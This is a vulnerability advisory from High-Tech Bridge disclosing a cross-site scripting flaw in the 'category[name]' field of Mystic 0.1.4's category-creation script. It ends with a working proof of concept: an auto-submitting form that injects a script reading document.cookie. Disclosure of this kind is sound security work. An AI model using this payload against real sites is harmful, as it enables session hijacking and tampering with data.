XSS vulnerability in Mystic

[advisory () htbridge ch]

Vulnerability ID: HTB22534
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_mystic.html
Product: Mystic
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/mystic ) 
Vulnerable Version: 0.1.4 and Probably Prior Versions
Vendor Notification: 27 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/create_new_category script to properly sanitize user-supplied 
input in "category[name]" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/create_new_category"; method="post"  name="main" >
<input type="hidden" name="category[id]" value="999" >
<input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Create New Category!" >
</form>
<script>
document.main.submit();
</script>